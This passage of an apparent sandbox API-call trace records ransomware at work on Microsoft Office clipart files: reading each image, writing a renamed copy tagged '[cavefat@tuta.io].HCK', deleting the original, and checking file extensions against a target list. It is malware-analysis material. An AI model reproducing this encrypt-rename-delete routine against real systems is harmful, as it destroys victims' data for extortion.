dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0229.124] GetLastError () returned 0x0 [0229.124] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0xab74, lpOverlapped=0x0) returned 1 [0229.126] WriteFile (in: hFile=0x544, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xab80, lpOverlapped=0x0) returned 1 [0229.127] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.127] WriteFile (in: hFile=0x544, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.127] SetEndOfFile (hFile=0x544) returned 1 [0229.128] CloseHandle (hObject=0x544) returned 1 [0229.128] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.128] SetEndOfFile (hFile=0x548) returned 1 [0229.130] CloseHandle (hObject=0x548) returned 1 [0229.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0229.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0229.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0229.131] lstrlenW (lpString=".doc") returned 4 [0229.131] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0229.131] lstrlenW (lpString=".docx") returned 5 [0229.131] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0229.131] lstrlenW (lpString=".pdf") returned 4 [0229.131] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0229.132] lstrlenW (lpString=".xls") returned 4 [0229.132] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0229.132] lstrlenW (lpString=".xlsx") returned 5 [0229.132] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0229.132] lstrlenW (lpString=".ppt") returned 4 [0229.132] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0229.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0229.132] lstrlenW (lpString=".zip") returned 4 [0229.132] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0229.132] lstrlenW (lpString=".rar") returned 4 [0229.132] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0229.132] lstrlenW (lpString=".bz2") returned 4 [0229.132] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0229.132] lstrlenW (lpString=".7z") returned 3 [0229.132] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0229.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0229.132] lstrlenW (lpString=".dbf") returned 4 [0229.132] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0229.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0229.132] lstrlenW (lpString=".1cd") returned 4 [0229.132] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0229.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0229.132] lstrlenW (lpString=".jpg") returned 4 [0229.132] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0229.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0229.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0229.132] lstrlenW (lpString=".doc") returned 4 [0229.132] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0229.132] lstrlenW (lpString=".docx") returned 5 [0229.132] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0229.132] lstrlenW (lpString=".pdf") returned 4 [0229.132] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0229.132] lstrlenW (lpString=".xls") returned 4 [0229.132] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0229.132] lstrlenW (lpString=".xlsx") returned 5 [0229.132] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0229.132] lstrlenW (lpString=".ppt") returned 4 [0229.132] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0229.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0229.132] lstrlenW (lpString=".zip") returned 4 [0229.132] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0229.132] lstrlenW (lpString=".rar") returned 4 [0229.132] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0229.133] lstrlenW (lpString=".bz2") returned 4 [0229.133] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0229.133] lstrlenW (lpString=".7z") returned 3 [0229.133] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0229.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0229.133] lstrlenW (lpString=".dbf") returned 4 [0229.133] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0229.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0229.133] lstrlenW (lpString=".1cd") returned 4 [0229.133] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0229.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0229.133] lstrlenW (lpString=".jpg") returned 4 [0229.133] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0229.133] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0229.133] lstrlenW (lpString="J0099198.GIF") returned 12 [0229.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.134] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=5259) returned 1 [0229.134] CloseHandle (hObject=0x548) returned 1 [0229.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220 [0229.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.135] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.135] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0229.135] GetLastError () returned 0x0 [0229.135] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x148b, lpOverlapped=0x0) returned 1 [0229.137] WriteFile (in: hFile=0x544, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1490, lpOverlapped=0x0) returned 1 [0229.138] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.138] WriteFile (in: hFile=0x544, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.138] SetEndOfFile (hFile=0x544) returned 1 [0229.138] CloseHandle (hObject=0x544) returned 1 [0229.138] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.138] SetEndOfFile (hFile=0x548) returned 1 [0229.140] CloseHandle (hObject=0x548) returned 1 [0229.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0229.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0229.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0229.142] lstrlenW (lpString=".doc") returned 4 [0229.142] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.142] lstrlenW (lpString=".docx") returned 5 [0229.142] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0229.142] lstrlenW (lpString=".pdf") returned 4 [0229.142] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.142] lstrlenW (lpString=".xls") returned 4 [0229.142] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.142] lstrlenW (lpString=".xlsx") returned 5 [0229.142] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0229.142] lstrlenW (lpString=".ppt") returned 4 [0229.142] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0229.142] lstrlenW (lpString=".zip") returned 4 [0229.142] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.142] lstrlenW (lpString=".rar") returned 4 [0229.142] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.142] lstrlenW (lpString=".bz2") returned 4 [0229.142] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.142] lstrlenW (lpString=".7z") returned 3 [0229.142] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0229.142] lstrlenW (lpString=".dbf") returned 4 [0229.142] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0229.142] lstrlenW (lpString=".1cd") returned 4 [0229.142] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0229.142] lstrlenW (lpString=".jpg") returned 4 [0229.142] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0229.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0229.142] lstrlenW (lpString=".doc") returned 4 [0229.142] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.142] lstrlenW (lpString=".docx") returned 5 [0229.142] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0229.142] lstrlenW (lpString=".pdf") returned 4 [0229.142] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.142] lstrlenW (lpString=".xls") returned 4 [0229.142] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.142] lstrlenW (lpString=".xlsx") returned 5 [0229.142] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0229.142] lstrlenW (lpString=".ppt") returned 4 [0229.142] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0229.143] lstrlenW (lpString=".zip") returned 4 [0229.143] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.143] lstrlenW (lpString=".rar") returned 4 [0229.143] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.143] lstrlenW (lpString=".bz2") returned 4 [0229.143] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.143] lstrlenW (lpString=".7z") returned 3 [0229.143] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0229.143] lstrlenW (lpString=".dbf") returned 4 [0229.143] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0229.143] lstrlenW (lpString=".1cd") returned 4 [0229.143] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0229.143] lstrlenW (lpString=".jpg") returned 4 [0229.143] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.143] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0229.143] lstrlenW (lpString="J0099199.GIF") returned 12 [0229.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.144] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=33975) returned 1 [0229.144] CloseHandle (hObject=0x548) returned 1 [0229.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220 [0229.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.145] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.145] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0229.145] GetLastError () returned 0x0 [0229.145] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x84b7, lpOverlapped=0x0) returned 1 [0229.147] WriteFile (in: hFile=0x544, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x84c0, lpOverlapped=0x0) returned 1 [0229.148] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.148] WriteFile (in: hFile=0x544, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.149] SetEndOfFile (hFile=0x544) returned 1 [0229.149] CloseHandle (hObject=0x544) returned 1 [0229.149] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.149] SetEndOfFile (hFile=0x548) returned 1 [0229.151] CloseHandle (hObject=0x548) returned 1 [0229.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0229.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0229.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0229.152] lstrlenW (lpString=".doc") returned 4 [0229.152] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.152] lstrlenW (lpString=".docx") returned 5 [0229.152] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0229.152] lstrlenW (lpString=".pdf") returned 4 [0229.153] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.153] lstrlenW (lpString=".xls") returned 4 [0229.153] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.153] lstrlenW (lpString=".xlsx") returned 5 [0229.153] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0229.153] lstrlenW (lpString=".ppt") returned 4 [0229.153] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0229.153] lstrlenW (lpString=".zip") returned 4 [0229.153] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.153] lstrlenW (lpString=".rar") returned 4 [0229.153] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.153] lstrlenW (lpString=".bz2") returned 4 [0229.153] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.153] lstrlenW (lpString=".7z") returned 3 [0229.153] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0229.153] lstrlenW (lpString=".dbf") returned 4 [0229.153] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0229.153] lstrlenW (lpString=".1cd") returned 4 [0229.153] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0229.153] lstrlenW (lpString=".jpg") returned 4 [0229.153] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0229.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0229.153] lstrlenW (lpString=".doc") returned 4 [0229.153] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.153] lstrlenW (lpString=".docx") returned 5 [0229.153] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0229.153] lstrlenW (lpString=".pdf") returned 4 [0229.153] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.153] lstrlenW (lpString=".xls") returned 4 [0229.153] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.153] lstrlenW (lpString=".xlsx") returned 5 [0229.153] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0229.153] lstrlenW (lpString=".ppt") returned 4 [0229.153] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0229.153] lstrlenW (lpString=".zip") returned 4 [0229.153] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.153] lstrlenW (lpString=".rar") returned 4 [0229.153] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.153] lstrlenW (lpString=".bz2") returned 4 [0229.153] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.153] lstrlenW (lpString=".7z") returned 3 [0229.153] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0229.153] lstrlenW (lpString=".dbf") returned 4 [0229.153] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0229.153] lstrlenW (lpString=".1cd") returned 4 [0229.154] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0229.154] lstrlenW (lpString=".jpg") returned 4 [0229.154] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.154] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0229.154] lstrlenW (lpString="J0099200.GIF") returned 12 [0229.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.154] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=16543) returned 1 [0229.154] CloseHandle (hObject=0x548) returned 1 [0229.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220 [0229.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.155] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.155] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0229.156] GetLastError () returned 0x0 [0229.156] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: 